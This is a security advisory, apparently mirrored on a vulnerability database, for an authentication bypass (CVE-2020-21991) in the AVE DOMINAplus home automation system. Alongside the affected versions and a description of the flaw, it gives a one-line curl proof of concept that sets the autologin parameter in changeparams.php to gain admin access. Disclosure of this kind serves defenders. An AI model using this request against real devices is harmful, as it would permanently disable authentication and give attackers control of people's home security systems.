AVE DOMINAplus <=1.10.x Authentication Bypass Exploit

🗓️ 27 Dec 2019 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 69 Views

AVE DOMINAplus authentication bypass allows unauthenticated access to admin interface

Reporter	Title	Published	Views	Family All 8
CNNVD	AVE DOMINAplus 授权问题漏洞	28 Apr 202100:00	–	cnnvd
CNVD	Unspecified Vulnerability in AVE DOMINAplus	4 Jun 202100:00	–	cnvd
CVE	CVE-2020-21991	28 Apr 202113:58	–	cve
Cvelist	CVE-2020-21991	28 Apr 202113:58	–	cvelist
EUVD	EUVD-2020-14757	7 Oct 202500:30	–	euvd
NVD	CVE-2020-21991	28 Apr 202114:15	–	nvd
Prion	Authentication flaw	28 Apr 202114:15	–	prion
RedhatCVE	CVE-2020-21991	22 May 202517:51	–	redhatcve

<html><body><p>AVE DOMINAplus &lt;=1.10.x Authentication Bypass Exploit


Vendor: AVE S.p.A.
Product web page: https://www.ave.it | https://www.domoticaplus.it
Affected version: Web Server Code 53AB-WBS - 1.10.62
                  Touch Screen Code TS01 - 1.0.65
                  Touch Screen Code TS03x-V | TS04X-V - 1.10.45a
                  Touch Screen Code TS05 - 1.10.36
                  Models: 53AB-WBS
                          TS01
                          TS03V
                          TS04X-V
                          TS05N-V
                  App version: 1.10.77
                  App version: 1.10.65
                  App version: 1.10.64
                  App version: 1.10.62
                  App version: 1.10.60
                  App version: 1.10.52
                  App version: 1.10.52A
                  App version: 1.10.49
                  App version: 1.10.46
                  App version: 1.10.45
                  App version: 1.10.44
                  App version: 1.10.35
                  App version: 1.10.25
                  App version: 1.10.22
                  App version: 1.10.11
                  App version: 1.8.4
                  App version: TS1-1.0.65
                  App version: TS1-1.0.62
                  App version: TS1-1.0.44
                  App version: TS1-1.0.10
                  App version: TS1-1.0.9

Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.
Designed to revolutionize your concept of living. DOMINA plus is the AVE home
automation proposal that makes houses safer, more welcoming and optimized. In
fact, our home automation system introduces cutting-edge technologies, designed
to improve people's lifestyle. DOMINA plus increases comfort, the level of safety
and security and offers advanced supervision tools in order to learn how to
evaluate and reduce consumption through various solutions dedicated to energy
saving.

Desc: DOMINAplus suffers from an authentication bypass vulnerability due to missing
control check when directly calling the autologin GET parameter in changeparams.php
script. Setting the autologin value to 1 allows an unauthenticated attacker to
permanently disable the authentication security control and access the management
interface with admin privileges without providing credentials.

Tested on: GNU/Linux 4.1.19-armv7-x7
           GNU/Linux 3.8.13-bone50/bone71.1/bone86
           Apache/2.4.7 (Ubuntu)
           Apache/2.2.22 (Debian)
           PHP/5.5.9-1ubuntu4.23
           PHP/5.4.41-0+deb7u1
           PHP/5.4.36-0+deb7u3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5549
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5549.php


06.10.2019

--


#
# Mina... Mina, open your eyes!
#

$ curl -s http://192.168.1.10/changeparams.php?operazione=3&amp;autologin=1
1
</p></body></html>

27 Dec 2019 00:00Current

7.3High risk

Vulners AI Score7.3

CVSS 27.5

CVSS 3.19.8

EPSS0.05284